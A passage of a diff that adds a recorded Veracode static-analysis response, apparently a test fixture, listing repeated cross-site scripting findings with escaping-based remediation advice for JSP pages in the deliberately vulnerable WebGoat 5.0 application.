+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"195\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"125\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"61\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"65\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"249\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"140\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"152\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"134\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"142\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"73\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"131\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
